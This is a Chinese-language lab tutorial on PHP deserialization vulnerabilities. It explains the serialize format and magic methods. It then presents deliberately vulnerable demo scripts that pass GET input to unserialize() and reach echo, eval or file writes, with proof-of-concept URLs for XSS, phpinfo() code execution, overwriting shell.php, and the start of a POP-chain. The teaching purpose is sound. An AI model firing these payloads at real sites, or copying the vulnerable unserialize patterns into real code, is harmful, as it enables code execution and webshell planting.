WEB常见漏洞之反序列化(靶场篇)2

简介: WEB常见漏洞之反序列化(靶场篇)

4.PHP反序列化漏洞实验

PHP中通常使用serialize函数进行序列化,使用unserialize函数进行反序列化。serialize函数输出格式

NULL被序列化为:N
Boolean型数据序列化为:b:1,b:0,分别代表True和False
Integer型数据序列化为:i:数值
String型数据序列化为:s:长度:"值"
对象序列化为:O:类名长度:类名:字段数:字段

输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。PHP中常用魔术方法

__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用

demo1.php

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="yeah";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

如果说反序列化可能带来安全问题,那么一定是序列化构造了危险代码,当进行反序列化相当于解码操作的时候自动执行了。我们本地测试下,当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss:

代码:

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="<img src=1 onerror=alert(1)>";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

我们可以尝试本地修改需要被序列化的字符串/数组/对象。通过上面的小demo我们简单的了解了反序列化导致的一些安全问题。下面是对它的深入理解:首先解释下demo1序列化后的含义:$a="test"; 序列化后的结果是:s:4:"test";含义:s =string类型 4代表字符串长度,"test"代表字符串内容$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的结果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}含义:a代表array数组类型,2代表数组长度2个,s代表string,4代表字符串长度,jack是字符串内容,依此类推。class A{public $test="yeah"}创建对象后,序列化后的结果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}含义:O表示存储的对象(object类型),1代表对象名称有1个字符,就是A,A是对象名称,1表示有一个值,s代表string类型,4代表字符串长度,test代表字符串名称,依此类推。我感觉我写的很详细了,下面来点案例说明反序列化漏洞吧:魔术方法,php有一些魔术方法,参考:https://secure.php.net/manual/zh/language.oop5.magic.php划重点,简单讲解下对反序列化有用的魔法函数,详细了解查看手册:__construct 构造函数,创建对象时自动调用__wakeup 使用unserialse()函数时会自动调用__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)写一段存在安全问题的demo:那么我用__wakeup演示下,__destruct也可以,因为__destruct 会被自动调用demo2.php

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

发现反序列化可控序列化代码,并且一旦反序列化会走魔法方法__wakeup并且输出test构造序列化poc:

    $b = new A();
    $c = serialize($b);
    echo $c;

    输出:O:1:"A":1:{s:4:"test";s:4:"demo";}

    demo是$test变量,尝试修改$test的值是<img src=1 onerror=alert(1)>

    注意前面的长度:


    构造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

    直接导致xss攻击。如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行危害巨大!我们来尝试修改echo改成eval这种php执行代码函数:

    <?php
    class A{
        var $test = "demo";
        function __wakeup(){
               eval($this->test);
        }
    }
    $b = new A();
    $c = serialize($b);
    echo $c;
    $a = $_GET['test'];
    $a_unser = unserialize($a);
    ?>
    直接构造poc:
    http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";

    使用pyhhon判断长度很方便

    如果把10改成11就不能正常执行:

    序列化要一一匹配。关于文件操作结合反序列化导致的安全问题:网站根目录存在shell.phpdemo3.php

    <?php
    //为显示效果,把这个shell.php包含进来
    require "shell.php";
    class A{
        var $test = '123';
        function __wakeup(){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $a= new A();
    print_r(serialize($a));
    $class1 = $_GET['test'];
    print_r($class1);
    echo "</br>";
    $class1_unser = unserialize($class1);
    ?>

    构造poc:


    http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

    测试发现当使用unserialize()的时候会自动调用魔术方法__wakeup或__destruct,所以往往安全问题都在__wakeup和__destruct魔术方法中。那么__construct()构造方法就没利用价值吗?非也,非也。如果__wekeup创建了对象,那么就会自动调用__construct(),演示例子:demo4.php

    <?php
    require "shell.php";
    class B{
        function __construct($test){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$test);
            fclose($fp);
        }
    }
    class A{
        var $test = '123';
        function __wakeup(){
            $obj = new B($this->test);
        }
    }
    $class1 = $_GET['test'];
    echo "</br>";
    $class1_unser = unserialize($class1);
    ?>

      构造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

      首先unserialize()会自动调用__wakeup(),__wakeup中创建了对象,从而自动调用了__construct(),会执行__construct()内的操作。利用普通成员方法的反序列化漏洞研究:上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通方法中,该如何利用呢?demo5.php

      <?php
          class maniac{
              public $test;
              function __construct(){
                  $this->test =new x1();
              }
              function __destruct(){
                  $this->test->action();
              }
          }
      class x1{
          function action(){
              echo "x1";
          }
      }
      class x2{
          public $test2;
          function action(){
              eval($this->test2);
          }
      }
      $class2  = new maniac();
      unserialize($_GET['test']);
      ?>

      我们发现类的普通方法调用eval函数,这个函数很危险,如果可控就可能造成代码执行。通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中,构造如下序列化代码:

      目录
      相关文章
      |
      3月前
      |
      SQL 云安全 安全
      常见的web漏洞,网站漏洞该怎么办
      随着互联网的发展,网站安全成为企业和个人关注焦点,尤其网站漏洞可能导致数据泄露、系统崩溃等严重后果。本文介绍了四种常见网站漏洞:XSS、SQL注入、文件包含和CSRF,以及它们的危害。为解决这些问题,建议加强代码审查、输入验证、使用安全API和库、访问控制等措施。此外,德迅云安全的漏洞扫描VSS服务可在Web漏洞扫描、弱密码扫描和中间件扫描等场景中发挥作用,帮助企业及时发现并处理安全问题,保障网站安全。
      |
      1月前
      |
      存储 安全 JavaScript
      Web漏洞挖掘:XSS与CSRF防护策略
      【7月更文挑战第11天】XSS和CSRF作为Web应用中常见的安全漏洞,对系统安全构成了严重威胁。通过实施上述防护策略,可以有效减少这些漏洞的风险。然而,Web安全攻防是一个持续不断的过程,开发者需要持续关注应用的安全性,更新和修补安全漏洞,同时加强自身的安全意识和防范技能,以确保Web应用的安全性和稳定性。
      |
      3月前
      |
      XML 云安全 安全
      了解常见的web漏洞-XXE漏洞,日常如何做好web安全
      随着网络技术的不断发展,网站安全问题日益受到人们的关注。当前随着技术发展,网站存在一些常见的可能被攻击者利用的漏洞,而在众多网站安全漏洞中,XXE(XML External Entity)漏洞是一个不容忽视的问题。今天我们就来分享了解一下关于XXE漏洞的概念、原理以及日常上有哪些可以措施可以防护网站安全。
      |
      3月前
      |
      存储 前端开发 JavaScript
      什么是web与搭建自己的第一个pikachu靶场
      本文是关于Web基础知识和搭建Pikachu靶场的教程。首先介绍了Web的定义,强调其作为互联网信息传输方式的核心是超链接,以及HTML、CSS和JavaScript在构建网页中的作用。接着,详细讲解了如何在本地使用phpStudy搭建Pikachu靶场,包括下载相关软件、配置安装路径、启动环境和初始化数据库设置。对于使用特定Win7系统的用户,提供了因系统自带phpStudy导致安装问题的解决办法。分享了学习心得和每日一言,鼓励专注力的重要性。
      |
      3月前
      |
      SQL 安全 Java
      Java Web安全性:常见的漏洞及防护措施
      Java Web安全性:常见的漏洞及防护措施
      504 0
      |
      3月前
      |
      SQL 安全 关系型数据库
      01WEB漏洞环境搭建
      【1月更文挑战第4天】给单位零基础小伙伴准备的网安入门教程,本教程是基于蚁景实验室搭建,基于自建虚拟机搭建需自行准备前置环境,01WEB漏洞环境搭建
      |
      8月前
      |
      SQL 安全 网络安全
      【Web渗透测试】—Web漏洞
      【Web渗透测试】—Web漏洞
      |
      18天前
      |
      开发框架 缓存 前端开发
      基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求
      基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求
      |
      20天前
      |
      安全 IDE 编译器
      深入理解PHP 7的新特性及其对现代Web开发的影响
      【7月更文挑战第30天】本文将深入探索PHP 7版本中引入的关键新特性,并分析这些改进如何优化现代Web开发实践。通过对比PHP 5和PHP 7的性能差异,我们将揭示PHP 7如何提升应用响应速度和资源利用效率。此外,本文还将讨论PHP 7对开发者工作流程的影响,包括新的语言特性、错误处理机制以及内置函数的增强,旨在为读者提供全面了解PHP 7所带来的变革性影响。
      |
      1天前
      |
      缓存 前端开发 JavaScript
      高效开发现代 Web 应用:从前端到后端的最佳实践
      在开发现代 Web 应用时,前端和后端技术的选择对项目的性能、可维护性和用户体验至关重要。本文将探讨如何通过现代工具和框架来优化前端和后端开发流程。我们将分析前端技术(如 React 和 Vue.js)与后端技术(如 Node.js 和 Django)的集成,并提供实际案例来展示如何实现高效开发。无论是对新手还是经验丰富的开发者,本指南都提供了宝贵的洞见和实用的技巧,以帮助提高开发效率并构建出色的 Web 应用。